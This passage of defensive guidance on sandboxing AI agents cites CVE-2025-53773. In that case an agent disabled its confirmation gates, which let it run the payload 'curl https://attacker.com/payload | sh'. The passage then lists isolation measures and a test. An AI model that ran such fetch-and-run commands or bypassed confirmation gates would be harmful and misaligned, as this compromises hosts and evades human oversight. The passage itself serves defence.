“Use sandboxing and isolation techniques to limit the impact of agent actions. Run agents in restricted environments with minimal access to host resources, network, and filesystem.” A sandbox doesn’t prevent the agent receiving a malicious instruction — it limits what that instruction can accomplish.

In CVE-2025-53773, once the agent disabled confirmation gates, it had unrestricted access to the host filesystem and network. The payload — curl https://attacker.com/payload | sh — required outbound HTTP, write to disk, and exec. A sandbox blocking outbound HTTP or restricting exec to an allowlist would have interrupted the attack chain at the first step.

→ Run agent tool execution in containers or VMs with no default network access
→ Grant outbound network access only to explicitly allowlisted endpoints
→ Mount filesystems read-only except for designated scratch directories
→ Block shell exec by default; use function-calling with validated parameters instead
→ Apply CPU, memory, and time limits to prevent agent runaway

From within the agent’s execution environment, attempt to make an outbound HTTP request to an external IP and attempt to write to a system file outside the scratch path. Both should fail. If either succeeds, the sandbox is not adequately configured.